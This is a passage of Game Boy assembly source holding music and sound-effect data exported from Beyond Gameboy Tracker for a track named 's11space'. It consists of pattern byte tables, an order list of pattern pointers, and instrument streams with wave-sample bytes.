$1C, $11, $44, $01, $01, $1F, $89, $01, $26, $3A, $02, $13, $0B, $11, $44, $01, $01, $23, $85, $0B, $03, $90, $01, $13, $18, $11, $33, $01, $01 DB $23, $89, $02, $02, $0B, $11, $33, $01, $01, $23, $85, $0B, $01, $13, $04, $11, $44, $01, $01, $1F, $89, $11, $CC, $02, $01, $33, $32, $02, $B7, $0B, $01, $07 DB $18, $0B, $12, $40, $11, $33, $01, $01, $23, $89, $02, $2B, $0C, $03, $A0, $01, $13, $20, $05, $00, $11, $44, $01, $01, $23, $89, $01, $27, $6E, $02, $67, $0B DB $11, $44, $01, $01, $1F, $85, $0B, $11, $44, $01, $01, $27, $89, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $23, $85, $0B, $03, $A0, $01, $07, $18, $11, $44 DB $01, $01, $23, $89, $11, $CC, $02, $01, $26, $32, $03, $83, $02, $0B, $0B, $11, $44, $01, $01, $23, $85, $02, $02, $0B, $01, $13, $14, $11, $33, $01, $01, $23 DB $89, $01, $26, $36, $0B, $11, $44, $01, $01, $27, $85, $02, $02, $0B, $01, $13, $1C, $11, $44, $01, $01, $1F, $89, $01, $26, $3A, $02, $13, $0B, $11, $44, $01 DB $01, $23, $85, $0B, $03, $90, $01, $13, $18, $11, $33, $01, $01, $23, $89, $02, $02, $0B, $11, $33, $01, $01, $23, $85, $0B, $01, $13, $04, $11, $44, $01, $01 DB $1F, $89, $11, $CC, $02, $01, $33, $32, $02, $B7, $0B, $01, $07, $18, $0B, $12, $40, $11, $33, $01, $01, $23, $89, $01, $26, $36, $02, $0F, $0B, $02, $02, $0B DB $03, $A0, $01, $07, $20, $05, $00, $11, $44, $01, $01, $23, $89, $01, $27, $6E, $02, $13, $0B, $11, $44, $01, $01, $1F, $85, $0B, $11, $44, $01, $01, $27, $89 DB $02, $02, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $23, $85, $03, $53, $02, $0B, $0B, $03, $A0, $01, $1F, $04, $11, $44, $01, $01, $23, $89, $11, $CC, $02 DB $01, $33, $32, $03, $83, $02, $B7, $0B, $11, $44, $01, $01, $23, $85, $0B, $01, $28, $98, $11, $33, $01, $01, $23, $89, $01, $26, $36, $0B, $11, $44, $01, $01 DB $27, $85, $02, $02, $0B, $01, $13, $1C, $11, $44, $01, $01, $1F, $89, $01, $27, $6E, $02, $13, $0B, $11, $44, $01, $01, $23, $85, $0B, $03, $90, $01, $13, $18 DB $11, $33, $01, $01, $23, $89, $02, $02, $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $23, $85, $03, $53, $02, $0B, $0B, $01, $2B, $90, $05, $00, $11, $44, $01 DB $01, $2B, $89, $11, $CC, $02, $01, $33, $32, $02, $B7, $0B, $11, $33, $01, $01, $2B, $89, $0B, $11, $22, $01, $01, $2B, $89, $01, $26, $36, $0B, $11, $11, $01 DB $01, $2B, $89, $02, $02, $0B, $11, $6C, $00, $01, $13, $14, $11, $CC, $01, $01, $1F, $89, $01, $27, $6E, $02, $13, $0B, $11, $BB, $01, $01, $1F, $89, $0B, $11 DB $AA, $01, $01, $1F, $89, $02, $02, $0B, $11, $99, $01, $01, $1F, $89, $03, $43, $02, $0B, $0B, $11, $88, $01, $01, $1F, $89, $11, $CC, $02, $01, $33, $32, $03 DB $53, $02, $0B, $0B, $11, $77, $01, $01, $1F, $89, $03, $63, $02, $0B, $0B, $11, $66, $01, $01, $1F, $89, $01, $26, $36, $03, $73, $02, $0B, $0B, $11, $55, $01 DB $01, $1F, $89, $02, $02, $03, $83, $02, $0B, $0B, $11, $44, $01, $01, $1F, $89, $01, $27, $3A, $03, $93, $02, $0B, $0B, $11, $33, $01, $01, $1F, $89, $03, $A3 DB $02, $0B, $0B, $11, $22, $01, $01, $1F, $89, $02, $02, $03, $B3, $02, $0B, $0B, $11, $11, $01, $01, $1F, $89, $03, $C3, $02, $0B, $00, $02, $07 SECTION "Ms11spaceP38", ROMX PATTERN_s11space38: DB $0A DB $03, $01, $13, $04, $11, $44, $01, $01, $1F, $89, $11, $CC, $02, $01, $33, $32, $02, $B7, $0B, $01, $07, $18, $0B, $12, $40, $11, $33, $01, $01, $23, $89, $02 DB $2B, $0C, $03, $A0, $01, $07, $20, $05, $00, $11, $44, $01, $01, $23, $89, $01, $27, $6E, $0B, $11, $44, $01, $01, $1F, $85, $0B, $11, $44, $01, $01, $27, $89 DB $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $23, $85, $0B, $03, $A0, $01, $07, $18, $11, $44, $01, $01, $23, $89, $03, $83, $02, $0B, $0B, $11, $44, $01, $01 DB $23, $85, $0B, $01, $13, $14, $11, $33, $01, $01, $23, $89, $0B, $11, $44, $01, $01, $27, $85, $0B, $01, $13, $1C, $11, $44, $01, $01, $1F, $89, $10, $16, $02 DB $13, $0B, $11, $44, $01, $01, $23, $85, $0B, $03, $90, $01, $13, $18, $11, $33, $01, $01, $23, $89, $0B, $11, $33, $01, $01, $23, $85, $0B, $01, $13, $04, $11 DB $44, $01, $01, $1F, $89, $11, $CC, $02, $01, $32, $32, $02, $B7, $0B, $01, $07, $18, $0B, $12, $40, $11, $33, $01, $01, $23, $89, $02, $2B, $0C, $03, $A0, $01 DB $13, $20, $05, $00, $11, $44, $01, $01, $23, $89, $01, $26, $2E, $02, $67, $0B, $11, $44, $01, $01, $1F, $85, $0B, $11, $44, $01, $01, $27, $89, $11, $BB, $02 DB $03, $23, $02, $0B, $0B, $11, $33, $01, $01, $23, $85, $11, $AA, $02, $0B, $03, $A0, $01, $07, $18, $11, $44, $01, $01, $23, $89, $11, $99, $02, $03, $83, $02 DB $0B, $0B, $11, $44, $01, $01, $23, $85, $11, $88, $02, $0B, $01, $13, $14, $11, $33, $01, $01, $23, $89, $11, $77, $02, $0B, $11, $44, $01, $01, $27, $85, $11 DB $66, $02, $0B, $01, $13, $1C, $11, $44, $01, $01, $1F, $89, $11, $CC, $02, $01, $27, $2E, $02, $13, $0B, $11, $44, $01, $01, $23, $85, $01, $28, $2E, $0B, $03 DB $90, $01, $13, $18, $11, $33, $01, $01, $23, $89, $01, $29, $2E, $0B, $11, $33, $01, $01, $23, $85, $01, $2A, $2E, $0B, $01, $13, $04, $11, $44, $01, $01, $1F DB $89, $11, $CC, $02, $01, $27, $32, $02, $B7, $0B, $01, $07, $18, $0B, $12, $40, $11, $33, $01, $01, $23, $89, $02, $2B, $0C, $03, $A0, $01, $07, $20, $05, $00 DB $11, $44, $01, $01, $23, $89, $01, $1B, $6E, $0B, $11, $44, $01, $01, $1F, $85, $0B, $11, $44, $01, $01, $27, $89, $03, $23, $02, $0B, $0B, $11, $33, $01, $01 DB $23, $85, $0B, $03, $A0, $01, $07, $18, $11, $44, $01, $01, $23, $89, $03, $83, $02, $0B, $0B, $11, $44, $01, $01, $23, $85, $0B, $01, $13, $14, $11, $33, $01 DB $01, $23, $89, $0B, $11, $44, $01, $01, $27, $85, $0B, $01, $13, $1C, $11, $44, $01, $01, $1F, $89, $10, $16, $02, $13, $0B, $11, $44, $01, $01, $23, $85, $0B DB $03, $90, $01, $13, $18, $11, $33, $01, $01, $23, $89, $0B, $11, $33, $01, $01, $23, $85, $0B, $01, $13, $04, $11, $44, $01, $01, $1F, $89, $11, $CC, $02, $01 DB $26, $32, $02, $B7, $0B, $01, $07, $18, $0B, $12, $40, $11, $33, $01, $01, $23, $89, $02, $2B, $0C, $03, $A0, $01, $13, $20, $05, $00, $11, $44, $01, $01, $23 DB $89, $01, $1A, $6E, $02, $67, $0B, $11, $44, $01, $01, $1F, $85, $0B, $11, $44, $01, $01, $27, $89, $11, $BB, $02, $03, $23, $02, $0B, $0B, $11, $33, $01, $01 DB $23, $85, $11, $AA, $02, $0B, $03, $A0, $01, $07, $18, $11, $44, $01, $01, $23, $89, $11, $99, $02, $03, $83, $02, $0B, $0B, $11, $44, $01, $01, $23, $85, $11 DB $88, $02, $0B, $01, $13, $14, $11, $33, $01, $01, $23, $89, $11, $77, $02, $0B, $11, $44, $01, $01, $27, $85, $11, $66, $02, $0B, $01, $13, $1C, $11, $44, $01 DB $01, $1F, $89, $11, $CC, $02, $01, $30, $6E, $02, $13, $0B, $11, $44, $01, $01, $23, $85, $0B, $03, $90, $01, $13, $18, $11, $33, $01, $01, $23, $89, $01, $32 DB $6E, $0B, $11, $33, $01, $01, $23, $85, $00, $02, $07 SECTION "Ms11spaceP_LAST", ROMX PATTERN_s11spaceLAST: DB $08, $40, $FF, $07 ; ************************ Order Table ********************* SECTION "Ms11spaceOrderList", ROMX Music_s11space:: DW PATTERN_s11space13, BANK(PATTERN_s11space13) DW PATTERN_s11space2, BANK(PATTERN_s11space2) DW PATTERN_s11space11, BANK(PATTERN_s11space11) DW PATTERN_s11space2, BANK(PATTERN_s11space2) DW PATTERN_s11space3, BANK(PATTERN_s11space3) DW PATTERN_s11space4, BANK(PATTERN_s11space4) DW PATTERN_s11space5, BANK(PATTERN_s11space5) DW PATTERN_s11space4, BANK(PATTERN_s11space4) DW PATTERN_s11space14, BANK(PATTERN_s11space14) DW PATTERN_s11space18, BANK(PATTERN_s11space18) DW PATTERN_s11space19, BANK(PATTERN_s11space19) DW PATTERN_s11space18, BANK(PATTERN_s11space18) DW PATTERN_s11space20, BANK(PATTERN_s11space20) DW PATTERN_s11space10, BANK(PATTERN_s11space10) DW PATTERN_s11space15, BANK(PATTERN_s11space15) DW PATTERN_s11space12, BANK(PATTERN_s11space12) DW PATTERN_s11space17, BANK(PATTERN_s11space17) DW PATTERN_s11space10, BANK(PATTERN_s11space10) DW PATTERN_s11space15, BANK(PATTERN_s11space15) DW PATTERN_s11space12, BANK(PATTERN_s11space12) DW PATTERN_s11space16, BANK(PATTERN_s11space16) DW PATTERN_s11space0, BANK(PATTERN_s11space0) DW PATTERN_s11space1, BANK(PATTERN_s11space1) DW PATTERN_s11space0, BANK(PATTERN_s11space0) DW PATTERN_s11space1, BANK(PATTERN_s11space1) DW PATTERN_s11space6, BANK(PATTERN_s11space6) DW PATTERN_s11space7, BANK(PATTERN_s11space7) DW PATTERN_s11space8, BANK(PATTERN_s11space8) DW PATTERN_s11space9, BANK(PATTERN_s11space9) DW PATTERN_s11space21, BANK(PATTERN_s11space21) DW PATTERN_s11space22, BANK(PATTERN_s11space22) DW PATTERN_s11space18, BANK(PATTERN_s11space18) DW PATTERN_s11space20, BANK(PATTERN_s11space20) DW PATTERN_s11space10, BANK(PATTERN_s11space10) DW PATTERN_s11space15, BANK(PATTERN_s11space15) DW PATTERN_s11space12, BANK(PATTERN_s11space12) DW PATTERN_s11space17, BANK(PATTERN_s11space17) DW PATTERN_s11space10, BANK(PATTERN_s11space10) DW PATTERN_s11space15, BANK(PATTERN_s11space15) DW PATTERN_s11space12, BANK(PATTERN_s11space12) DW PATTERN_s11space25, BANK(PATTERN_s11space25) DW PATTERN_s11space32, BANK(PATTERN_s11space32) DW PATTERN_s11space33, BANK(PATTERN_s11space33) DW PATTERN_s11space35, BANK(PATTERN_s11space35) DW PATTERN_s11space34, BANK(PATTERN_s11space34) DW PATTERN_s11space23, BANK(PATTERN_s11space23) DW PATTERN_s11space24, BANK(PATTERN_s11space24) DW PATTERN_s11space28, BANK(PATTERN_s11space28) DW PATTERN_s11space29, BANK(PATTERN_s11space29) DW PATTERN_s11space26, BANK(PATTERN_s11space26) DW PATTERN_s11space31, BANK(PATTERN_s11space31) DW PATTERN_s11space36, BANK(PATTERN_s11space36) DW PATTERN_s11space27, BANK(PATTERN_s11space27) DW PATTERN_s11space30, BANK(PATTERN_s11space30) DW PATTERN_s11space38, BANK(PATTERN_s11space38) DW PATTERN_s11space37, BANK(PATTERN_s11space37) DW PATTERN_s11spaceLAST, BANK(PATTERN_s11spaceLAST) ; ******************************************************** ; SoundFX Bank ; ; created with Beyond Gameboy Tracker ; ******************************************************** ; ************************ SFX Streams ******************* INSTs11space_CHNLOFF: DB $05, $00, $01, $80, $02 INSTs11space1_CHNL0: DB $05, $C1, $0A DB $80, $0B, $2B, $07 DB $01, $80, $02 INSTs11space2_CHNL3: DB $03, $02, $07 DB $0A, $22, $01, $80 DB $00, $09, $05, $27 DB $01, $80, $00, $04 DB $02 INSTs11space3_CHNL3: DB $00, $02, $0A DB $22, $03, $01, $01 DB $80, $07, $02 INSTs11space4_CHNL3: DB $00, $04, $0A DB $22, $03, $01, $01 DB $80, $07, $02 INSTs11space5_CHNL1: DB $05, $4A, $07 DB $0A, $C0, $01, $80 DB $02 INSTs11space6_CHNL1: DB $07, $03, $03 DB $0B, $08, $0A, $80 DB $01, $80, $00, $0C DB $05, $26, $00, $0B DB $02 INSTs11space7_CHNL0: DB $07, $05, $2D DB $0B, $08, $0A, $40 DB $01, $80, $02 INSTs11space8_CHNL0: DB $03, $02, $0B DB $08, $0A, $40, $01 DB $80, $00, $08, $05 DB $17, $0A, $00, $01 DB $80, $00, $02, $02 INSTs11space9_CHNL3: DB $0A, $15, $05 DB $21, $01, $80, $00 DB $06, $05, $21, $01 DB $80, $00, $06, $05 DB $51, $01, $80, $00 DB $06, $05, $11, $01 DB $80, $00, $07, $02 INSTs11space10_CHNL3: DB $0A, $00, $05 DB $81, $08, $01, $80 DB $00, $01, $05, $21 DB $07, $01, $80, $00 DB $02, $08, $00, $03 DB $0A, $03, $05, $31 DB $08, $01, $80, $00 DB $01, $05, $11, $07 DB $01, $80, $00, $02 DB $08, $00, $03, $0A DB $01, $05, $51, $08 DB $01, $80, $00, $01 DB $05, $21, $07, $01 DB $80, $00, $02, $08 DB $00, $03, $0A, $03 DB $05, $31, $08, $01 DB $80, $00, $01, $05 DB $11, $07, $01, $80 DB $00, $02, $08, $00 DB $03, $07, $02 INSTs11space11_CHNL2: DB $05, $60, $07 DB $0A, $FF, $99, $99 DB $99, $99, $BD, $EF DB $EC, $97, $9B, $DC DB $BA, $98, $76, $54 DB $32, $22, $01, $80 DB $00, $02, $00, $4D DB $01, $80, $00, $01 DB $02 INSTs11space12_CHNL2: DB $05, $20, $07 DB $0A, $FF, $01, $23 DB $44, $56, $78, $9B DB $DF, $C9, $64, $32 DB $22, $22, $11, $11 DB $00, $00, $01, $80 DB $00, $02, $01, $80 DB $00, $06, $0A, $FF DB $99, $99, $99, $99 DB $BD, $EF, $EC, $97 DB $9B, $DC, $BA, $98 DB $76, $54, $32, $22 DB $01, $80, $00, $02 DB $01, $80, $00, $06 DB $05, $40, $0A, $FF DB $99, $99, $99, $99 DB $BD, $EF, $EC, $97 DB $9B, $DC, $BA, $98 DB $76, $54, $32, $22 DB $01, $80, $00, $02 DB $00, $02, $0A, $FF DB $01, $23, $44, $56 DB $78, $9B, $DF, $C9 DB $64, $32, $22, $22 DB $11, $11, $00, $00 DB $01, $80, $00, $02 DB $01, $80, $00, $02 DB $05, $20, $0A, $FF DB $01, $23, $44, $56 DB $78, $9B, $DF, $C9 DB $64, $32, $22, $22 DB $11, $11, $00, $00 DB $01, $80, $00, $02 DB $00, $02, $05, $40 DB $0A, $FF, $46, $9B DB $B7, $44, $8A, $98 DB $87, $65, $6A, $CA DB $63, $48, $BA, $87 DB $76, $45, $01, $80 DB $00, $02, $0A, $FF DB $AE, $B4, $14, $9B DB $A9, $87, $43, $7D DB $EA, $31, $5A, $BA DB $88, $64, $48, $CD DB $01, $80, $00, $02 DB $0A, $FF, $94, $25 DB $9C, $B9, $75, $44 DB $7D, $F9, $10, $5B DB $CA, $87, $53, $5A DB $ED, $71, $01, $80 DB $00, $02, $0A, $FF DB $26, $BB, $A8, $64 DB $35, $AE, $C7, $22 DB $6B, $DB, $85, $33 DB $6A, $EC, $50, $18 DB $01, $80, $00, $02 DB $0A, $FF, $DC, $A7 DB $64, $47, $CE, $A4 DB $14, $9B, $B9, $75 DB $34, $8C, $D9, $53 DB $48, $CC, $01, $80 DB $00, $02, $0A, $FF DB $A6, $44, $69, $CC DB $83, $15, $AC, $A8 DB $65, $56, $9C, $B7 DB $33, $6A, $A9, $86 DB $01, $80, $00, $02 DB $0A, $FF, $54, $6A DB $CA, $64, $47, $AB DB $A8, $54, $58, $AB DB $96, $45, $8A, $A9 DB $76, $56, $01, $80 DB $00, $02, $0A, $FF DB $8A, $A8, $64, $58 DB $A9, $87, $66, $68 DB $AA, $85, $57, $99 DB $98, $76, $67, $99 DB $01, $80, $00, $02 DB $0A, $FF, $97, $55 DB $79, $99, $87, $67 DB $89, $98, $76, $67 DB $99, $87, $67, $78 DB $99, $87, $01, $80 DB $00, $02, $0A, $FF DB $67, $89, $98, $77 DB $77, $88, $88, $76 DB $78, $98, $87, $77 DB $88, $88, $77, $77 DB $01, $80, $00, $02 DB $0A, $FF, $88, $87 DB $77, $78, $88, $87 DB $77, $88, $88, $77 DB $77, $88, $88, $77 DB $77, $88, $01, $80 DB $00, $02, $0A, $FF DB $88, $77, $88, $88 DB $77, $77, $88, $87 DB $77, $88, $88, $77 DB $77, $88, $88, $77 DB $01, $80, $00, $02 DB $01, $80, $00, $06 DB $05, $40, $0A, $FF DB $01, $23, $44, $56 DB $78, $9B, $DF, $C9 DB $64, $32, $22, $22 DB $11, $11, $00, $00 DB $01, $80, $00, $02 DB $00, $3D, $01, $80 DB $00, $01, $02 INSTs11space13_CHNL2: DB $00, $02, $05 DB $20, $07, $0A, $01 DB $01, $23, $44, $56 DB $78, $9B, $DF, $C9 DB $64, $32, $22, $22 DB $11, $11, $00, $00 DB $01, $80, $00, $2F DB $02 INSTs11space14_CHNL2: DB $00, $04, $05 DB $20, $0A, $01, $01 DB $23, $44, $56, $78 DB $9B, $DF, $C9, $64 DB $32, $22, $22, $11 DB $11, $00, $00, $07 DB $01, $80, $00, $2D DB $02 INSTs11space15_CHNL1: DB $03, $01, $0A DB $00, $0B, $08, $07 DB $01, $80, $00, $1A DB $02 INSTs11space16_CHNL1: DB $00, $02, $05 DB $A1, $07, $0A, $40 DB $0B, $08, $01, $80 DB $02 INSTs11space17_CHNL1: DB $00, $04, $05 DB $F1, $07, $0A, $03 DB $0B, $08, $01, $80 DB $02 INSTs11space18_CHNL1: DB $03, $03, $01 DB $80, $02 INSTs11space19_CHNL0: DB $0A, $80, $03 DB $03, $01, $80, $02 INSTs11space20_CHNL0: DB $0B, $29, $07 DB $05, $F1, $0A, $81 DB $01, $80, $02 INSTs11space21_CHNL0: DB $05, $80, $0A DB $80, $0B, $2D, $01 DB $80, $02 INSTs11space22_CHNL0: DB $03, $03, $01 DB $80, $00, $01, $0A DB $80, $0B, $0E, $00 DB $01, $02 INSTs11space23_CHNL3: DB $00, $01, $05 DB $D1, $00, $01, $0A DB $13, $00, $01, $01 DB $80, $00, $01, $02 INSTs11space24_CHNL3: DB $05, $31, $00 DB $01, $0A, $10, $00 DB $01, $01, $80, $00 DB $01, $02 INSTs11space25_CHNL3: DB $05, $51, $08 DB $0A, $1C, $01, $80 DB $00, $06, $0A, $01 DB $05, $61, $08, $01 DB $80, $00, $02, $05 DB $21, $01, $80, $00 DB $03, $02 INSTs11space26_CHNL3: DB $0A, $04, $03 DB $01, $01, $80, $02 INSTs11space27_CHNL2: DB $05, $40, $07 DB $0A, $FF, $01, $23 DB $44, $56, $78, $9B DB $DF, $C9, $64, $32 DB $22, $22, $11, $11 DB $00, $00, $01, $80 DB $00, $02, $01, $80 DB $00, $02, $0A, $FF DB $01, $23, $44, $56 DB $78, $9B, $DF, $C9 DB $64, $32, $22, $22 DB $11, $11, $00, $00 DB $01, $80, $00, $01 DB $01, $80, $00, $43 DB $01, $80, $00, $01 DB $02 INSTs11space28_CHNL0: DB $03, $00, $0A DB $80, $0B, $08, $01 DB $80, $00, $06, $0A DB $80, $00, $06, $0A DB $40, $00, $03, $02 INSTs11space29_CHNL2: DB $0A, $FF, $46 DB $9B, $B7, $44, $8A DB $98, $87, $65, $6A DB $CA, $63, $48, $BA DB $87, $76, $45, $01 DB $80, $00, $01, $0A DB $FF, $AE, $B4, $14 DB $9B, $A9, $87, $43 DB $7D, $EA, $31, $5A DB $BA, $88, $64, $48 DB $CD, $01, $80, $00 DB $01, $0A, $FF, $94 DB $25, $9C, $B9, $75 DB $44, $7D, $F9, $10 DB $5B, $CA, $87, $53 DB $5A, $ED, $71, $01 DB $80, $00, $01, $0A DB $FF, $26, $BB, $A8 DB $64, $35, $AE, $C7 DB $22, $6B, $DB, $85 DB $33, $6A, $EC, $50 DB $18, $01, $80, $00 DB $01, $0A, $FF, $DC DB $A7, $64, $47, $CE DB $A4, $14, $9B, $B9 DB $75, $34, $8C, $D9 DB $53, $48, $CC, $01 DB $80, $00, $01, $0A DB $FF, $A6, $44, $69 DB $CC, $83, $15, $AC DB $A8, $65, $56, $9C DB $B7, $33, $6A, $A9 DB $86, $01, $80, $00 DB $01, $0A, $FF, $54 DB $6A, $CA, $64, $47 DB $AB, $A8, $54, $58 DB $AB, $96, $45, $8A DB $A9, $76, $56, $01 DB $80, $00, $01, $0A DB $FF, $8A, $A8, $64 DB $58, $A9, $87, $66 DB $68, $AA, $85, $57 DB $99, $98, $76, $67 DB $99, $01, $80, $00 DB $01, $0A, $FF, $97 DB $55, $79, $99, $87 DB $67, $89, $98, $76 DB $67, $99, $87, $67 DB $78, $99, $87, $01 DB $80, $00, $01, $0A DB $FF, $67, $89, $98 DB $77, $77, $88, $88 DB $76, $78, $98, $87 DB $77, $88, $88, $77 DB $77, $01, $80, $00 DB $01, $0A, $FF, $88 DB $87, $77, $78, $88 DB $87, $77, $88, $88 DB $77, $77, $88, $88 DB $77, $77, $88, $01 DB $80, $00, $01, $0A DB $FF, $88, $77, $88 DB $88, $77, $77, $88 DB $87, $77, $88, $88 DB $77, $77, $88, $88 DB $77, $01, $80, $00 DB $01, $05, $40, $00 DB $28, $01, $80, $00 DB $01, $02 INSTs11space30_CHNL2: DB $05, $40, $07 DB $0A, $FF, $40, $42 DB $00, $00, $06, $07 DB $79, $78, $87, $87 DB $88, $87, $89, $56 DB $B7, $68, $01, $80 DB $00, $02, $0A, $FF DB $88, $77, $87, $88 DB $78, $79, $47, $B6 DB $68, $96, $59, $96 DB $69, $77, $88, $87 DB $01, $80, $00, $02 DB $0A, $FF, $95, $4C DB $85, $79, $96, $6A DB $85, $88, $68, $88 DB $7A, $48, $B6, $69 DB $97, $4A, $01, $80 DB $00, $02, $0A, $FF DB $A5, $89, $77, $78 DB $88, $84, $9B, $55 DB $A9, $75, $99, $67 DB $97, $78, $78, $95 DB $01, $80, $00, $02 DB $0A, $FF, $4D, $A3 DB $7A, $95, $6B, $76 DB $99, $68, $78, $8A DB $26, $D8, $48, $97 DB $67, $A6, $01, $80 DB $00, $02, $0A, $FF DB $69, $77, $87, $89 DB $63, $D9, $36, $A9 DB $46, $B7, $69, $87 DB $78, $88, $83, $BB DB $01, $80, $00, $02 DB $0A, $FF, $45, $B9 DB $46, $B8, $59, $86 DB $87, $88, $83, $BA DB $36, $A9, $56, $B7 DB $69, $77, $01, $80 DB $00, $02, $0A, $FF DB $87, $88, $93, $AA DB $56, $99, $66, $A9 DB $58, $97, $77, $88 DB $73, $CA, $46, $B9 DB $01, $80, $00, $02 DB $0A, $FF, $47, $A8 DB $58, $86, $87, $89 DB $54, $DA, $38, $A8 DB $66, $B7, $59, $96 DB $78, $79, $01, $80 DB $00, $02, $0A, $FF DB $53, $E9, $28, $A8 DB $57, $B7, $5A, $87 DB $87, $8B, $24, $F7 DB $38, $A8, $56, $A7 DB $01, $80, $00, $02 DB $0A, $FF, $58, $96 DB $78, $8B, $05, $E7 DB $48, $98, $66, $A7 DB $68, $77, $78, $8B DB $15, $E7, $01, $80 DB $00, $02, $0A, $FF DB $38, $A8, $57, $97 DB $77, $79, $77, $89 DB $38, $B7, $57, $98 DB $67, $97, $77, $78 DB $01, $80, $00, $02 DB $0A, $FF, $87, $95 DB $6A, $98, $57, $A8 DB $68, $78, $87, $78 DB $87, $A3, $6B, $78 DB $66, $98, $01, $80 DB $00, $02, $0A, $FF DB $67, $79, $77, $77 DB $89, $37, $A8, $95 DB $68, $88, $76, $98 DB $77, $88, $A3, $79 DB $01, $80, $00, $02 DB $0A, $FF, $89, $57 DB $88, $96, $78, $88 DB $77, $89, $48, $89 DB $96, $77, $88, $77 DB $78, $87, $01, $80 DB $00, $02, $0A, $FF DB $78, $A5, $68, $89 DB $77, $68, $88, $78 DB $78, $78, $78, $85 DB $7A, $79, $66, $87 DB $01, $80, $00, $02 DB $0A, $FF, $97, $68 DB $78, $77, $7A, $47 DB $99, $86, $77, $88 DB $77, $78, $77, $88 DB $86, $67, $01, $80 DB $00, $02, $0A, $FF DB $98, $76, $69, $78 DB $76, $96, $88, $69 DB $93, $79, $89, $57 DB $98, $86, $78, $87 DB $01, $80, $00, $02 DB $0A, $FF, $87, $8B DB $37, $89, $95, $68 DB $88, $76, $79, $68 DB $78, $A6, $57, $A9 DB $66, $79, $01, $80 DB $00, $02, $0A, $FF DB $86, $77, $87, $78 DB $88, $A2, $7B, $86 DB $67, $A7, $68, $78 DB $76, $89, $7A, $17 DB $01, $80, $00, $02 DB $0A, $FF, $D7, $65 DB $8A, $66, $88, $86 DB $69, $88, $B0, $8D DB $66, $68, $96, $69 DB $87, $67, $01, $80 DB $00, $02, $0A, $FF DB $88, $7B, $07, $D7 DB $58, $99, $57, $97 DB $77, $78, $86, $B1 DB $7E, $64, $99, $86 DB $01, $80, $00, $02 DB $0A, $FF, $79, $77 DB $77, $87, $7A, $19 DB $D5, $58, $A7, $59 DB $87, $77, $88, $7A DB $26, $D8, $01, $80 DB $00, $02, $0A, $FF DB $56, $99, $66, $A7 DB $68, $68, $87, $C1 DB $7E, $73, $7A, $84 DB $8B, $57, $87, $98 DB $01, $80, $00, $02 DB $0A, $FF, $78, $39 DB $B7, $57, $A8, $57 DB $A6, $77, $78, $79 DB $54, $BA, $56, $7A DB $75, $89, $01, $80 DB $00, $02, $0A, $FF DB $68, $77, $87, $A4 DB $5B, $97, $66, $A7 DB $69, $78, $77, $87 DB $97, $58, $99, $75 DB $01, $80, $00, $02 DB $0A, $FF, $79, $87 DB $77, $87, $87, $79 DB $57, $89, $96, $68 DB $78, $86, $77, $88 DB $88, $66, $01, $80 DB $00, $02, $0A, $FF DB $98, $87, $67, $88 DB $77, $78, $78, $68 DB $76, $88, $88, $77 DB $68, $87, $87, $78 DB $01, $80, $00, $02 DB $0A, $FF, $78, $87 DB $77, $78, $88, $88 DB $88, $88, $88, $88 DB $88, $87, $78, $88 DB $76, $88, $01, $80 DB $00, $02, $0A, $FF DB $88, $68, $78, $77 DB $77, $88, $88, $85 DB $79, $87, $77, $89 DB $68, $78, $87, $88 DB $01, $80, $00, $02 DB $0A, $FF, $A5, $59 DB $97, $77, $97, $77 DB $88, $77, $88, $78 DB $75, $A8, $68, $79 DB $86, $88, $01, $80 DB $00, $02, $0A, $FF DB $78, $77, $87, $89 DB $56, $A7, $77, $88 DB $77, $87, $87, $87 DB $78, $88, $66, $A8 DB $01, $80, $00, $02 DB $0A, $FF, $77, $89 DB $76, $A6, $79, $77 DB $87, $88, $84, $A9 DB $67, $98, $77, $87 DB $87, $87, $01, $80 DB $00, $02, $0A, $FF DB $79, $78, $A1, $B9 DB $68, $78, $76, $88 DB $69, $87, $78, $78 DB $87, $4C, $76, $87 DB $01, $80, $00, $02 DB $0A, $FF, $87, $79 DB $58, $77, $87, $87 DB $7A, $2A, $87, $78 DB $87, $78, $87, $88 DB $78, $78, $01, $80 DB $00, $02, $0A, $FF DB $78, $A1, $D6, $78 DB $88, $77, $96, $79 DB $78, $87, $87, $A4 DB $99, $77, $98, $86 DB $01, $80, $00, $02 DB $0A, $FF, $98, $69 DB $78, $77, $88, $89 DB $1D, $58, $78, $77 DB $78, $77, $77, $87 DB $88, $7A, $01, $80 DB $00, $02, $0A, $FF DB $47, $B5, $87, $88 DB $69, $86, $87, $86 DB $88, $78, $B0, $D6 DB $76, $A6, $96, $88 DB $01, $80, $00, $02 DB $0A, $FF, $78, $87 DB $78, $77, $99, $1F DB $59, $69, $78, $6A DB $68, $78, $77, $87 DB $79, $73, $01, $80 DB $00, $02, $0A, $FF DB $F3, $A6, $A6, $86 DB $A5, $88, $87, $79 DB $77, $A4, $7C, $48 DB $7A, $68, $79, $68 DB $01, $80, $00, $02 DB $0A, $FF, $87, $78 DB $77, $7A, $0E, $68 DB $5A, $78, $69, $67 DB $88, $78, $78, $79 DB $90, $F4, $01, $80 DB $00, $02, $0A, $FF DB $95, $A7, $95, $98 DB $77, $87, $78, $87 DB $97, $2F, $39, $5A DB $68, $6A, $68, $77 DB $01, $80, $00, $02 DB $0A, $FF, $87, $88 DB $7A, $54, $E3, $A5 DB $B5, $95, $A6, $87 DB $87, $87, $87, $A3 DB $8B, $49, $01, $80 DB $00, $02, $0A, $FF DB $79, $69, $69, $68 DB $79, $78, $86, $8B DB $0D, $77, $78, $88 DB $69, $86, $97, $87 DB $01, $80, $00, $02 DB $0A, $FF, $88, $68 DB $A2, $B8, $76, $98 DB $77, $97, $68, $87 DB $77, $87, $8A, $2A DB $96, $78, $01, $80 DB $00, $02, $0A, $FF DB $88, $68, $96, $88 DB $78, $78, $78, $A3 DB $A9, $67, $88, $77 DB $88, $77, $88, $78 DB $01, $80, $00, $02 DB $0A, $FF, $86, $8A DB $38, $A6, $78, $88 DB $69, $87, $78, $87 DB $88, $78, $A4, $7A DB $67, $87, $01, $80 DB $00, $02, $0A, $FF DB $95, $97, $87, $88 DB $67, $88, $7A, $39 DB $98, $68, $79, $67 DB $96, $88, $77, $87 DB $01, $80, $00, $02 DB $0A, $FF, $88, $A2 DB $A8, $86, $87, $87 DB $88, $78, $78, $68 DB $87, $88, $4A, $78 DB $78, $87, $01, $80 DB $00, $02, $0A, $FF DB $78, $87, $77, $87 DB $87, $78, $76, $98 DB $78, $78, $78, $87 DB $87, 